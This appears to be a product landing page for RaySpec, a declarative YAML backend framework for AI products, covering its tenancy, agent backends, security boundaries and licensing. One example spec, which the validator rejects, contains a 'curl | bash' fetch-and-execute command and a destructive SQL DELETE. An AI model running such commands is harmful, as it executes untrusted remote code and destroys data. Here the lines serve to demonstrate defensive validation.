Your backend is
one file deep.
Describe your AI product’s backend in one declarative YAML file. RaySpec stands up accounts, auth, agents, an HTTP API, a Postgres data layer, and durable jobs — deployed GitOps-style from that single file.
Six real backends, six files.
A notes backend — stores entries, summarizes them with an agent.
Store expense claims and auto-code each claim against the org's own expense-category catalog with a tool-using agent (the lookup + auto-persist loop).
Accept a submitted support ticket, route it against a seeded routing-policy catalog (product_area → owning team + default priority), persist the triaged ticket, and serve ticket reads.
Accept an uploaded invoice document (text or text-layer PDF), parse it to text, extract the invoice fields and code the vendor against a seeded vendor→GL catalog, validate the coded output, persist one row per invoice, and serve invoice reads.
Accept an uploaded contract document (text or text-layer PDF), parse it to text, extract the contract metadata, classify the contract type against a seeded retention-policy catalog, validate the load-bearing fields, persist one coded record per contract, and serve contract reads.
A first-line support intake CHAT: the user describes their issue over a multi-turn conversation, an assistant replies grounded in a seeded known-issues/routing catalog, and an async workflow classifies the conversation into a structured, routed ticket the support desk can read.
extensions[] mechanism — every document above validates with rayspec doctor
the product: key is the discriminant — one language, two profiles →
The scaffolding is the platform’s problem now.
A real database, generated
Stores become tenant-scoped Postgres/Drizzle tables — you declare business columns only, the tenancy and data-lifecycle columns are injected. Migrations are diffed and gated before they apply.
Owned accounts & tenancy
Orgs, memberships, API keys, JWT/OIDC — first-class and yours. Every query carries a tenant predicate, enforced structurally.
Four swappable agent backends
OpenAI Agents, Claude Agent SDK, Pi, and Codex behind one neutral interface. Write an agent once; switch the backend from the spec.
Durable background work
Long agent runs and scheduled jobs execute off-request, with a per-step run journal for replay, cost accounting, and audit.
A declarative HTTP surface
Routes, tools, triggers, and escape-hatch handlers declared in the spec, mounted on an authenticated Hono + OpenAPI surface.
Tenant-scoped & fail-closed by construction
Secrets required at boot, a fail-closed tenant chokepoint, an explicit trust boundary around untrusted content, an append-only audit log — from the first boot. What it guarantees — and what it doesn’t →
One spec, seven layers.
Each layer depends only on the ones below it. The bottom layers are the always-on foundation; the declarative engine reads your spec and wires your routes, stores, and agents onto it. The platform itself contains no product.
Read the full architecture →Three boundaries carry the weight.
The neutral backend boundary
Adapters absorb every vendor SDK’s churn; the neutral types never move. A parity suite holds all four backends to the identical contract.
The fail-closed tenant chokepoint
Deny-by-default: a table is reachable only if registered as committed source. There is no ergonomic path to a cross-tenant read.
The tool-dispatch trust boundary
Everything crossing from outside — tool output, uploads, rehydrated history — is data, never instructions. Idempotency is honored on replay.
What the core guarantees — and what it doesn’t.
The core is built for trusted, self-hosted, single-node deployment. Do not put a core deployment on a public address without the hardening layer — the boot process says so loudly.
The posture isn’t a promise — it’s a refusal.
Before anything deploys, rayspec doctor reads your spec and fails closed on the moves that would break the guarantees above. Real output, verbatim, exit 1 — captured against public v1.5.0, so you can reproduce it. That’s the receipt.
version: '1.0'
metadata:
name: crm-backend
description: A CRM backend that tries to declare its own tenant_id column.
stores:
- name: invoices
columns:
- { name: tenant_id, type: uuid } # ← the platform injects this
- { name: amount_cents, type: integer }
- { name: status, type: text }
{
"ok": false,
"errors": [
{
"code": "reserved_column_name",
"message": "store 'invoices' declares reserved column 'tenant_id' — that column is injected by the generator (tenancy/GDPR); rename the business column",
"path": "stores[0].columns[0].name"
}
],
"warnings": []
}
version: '1.0'
product:
name: meeting-notes
description: A meeting-notes product that tries to smuggle code into the spec.
workflows:
- id: after-upload
trigger: recording.uploaded
steps:
- id: cleanup
shell: "curl -s https://example.com/setup.sh | bash"
- id: summarize
sql: "DELETE FROM recordings WHERE status = 'stale'"
{
"ok": false,
"errors": [
{
"code": "no_code_in_yaml",
"message": "banned code-like key 'shell' at workflows[0].steps[0].shell; Product YAML declares meaning and contracts — code/handlers/SQL belong in Tier A/B implementation, not in YAML",
"path": "workflows[0].steps[0].shell"
},
{
"code": "no_code_in_yaml",
"message": "banned code-like key 'sql' at workflows[0].steps[1].sql; Product YAML declares meaning and contracts — code/handlers/SQL belong in Tier A/B implementation, not in YAML",
"path": "workflows[0].steps[1].sql"
},
{
"code": "no_code_in_yaml",
"message": "inline-code string value at workflows[0].steps[1].sql; Product YAML must not contain JS/TS, SQL, shell, or handler module paths",
"path": "workflows[0].steps[1].sql"
}
],
"warnings": []
}
Captured 2026-07-19 against rayspec v1.5.0 (8e3e103) — the JSON is the documented doctor contract, reproducible on the public release. the doctor CLI →
Asked like an engineer.
What’s the license?
Open core, not an OSI license: source-available under FSL-1.1-ALv2 · use, modify, and self-host freely · each release converts to Apache-2.0 after two years.
receipt: LICENSE · conversion date per release
Can I put a deployment on a public address?
Not without the hardening layer. The core is built for trusted, self-hosted, single-node deployment — the boot process says so loudly.
receipt: v1 posture · SECURITY.md
What does the one file actually stand up?
Accounts, auth, agents, an HTTP API, a Postgres data layer, and durable jobs — deployed GitOps-style from that single file.
receipt: spec reference · getting started
Are the examples real?
Six real backends, six files — they ship in examples/,
including a backend-profile spec whose declared agent runs off-request on
the durable worker, with deterministic and live test suites.
receipt: examples/ · the spec shelf above
How is tenant data isolated?
By construction: tenant isolation enforced by the fail-closed chokepoint (with a CI cross-tenant test), curated per-backend credentials, an untrusted-content tool-dispatch trust boundary, and an out-of-band audit journal.
receipt: architecture · SECURITY.md
Found a security issue?
Mail security@rayspec.dev — reporting and the hardening posture live in the security policy.
receipt: security policy
Open core. Now on GitHub.
Source-available under FSL-1.1-ALv2 · use, modify, and self-host freely · each release converts to Apache-2.0 after two years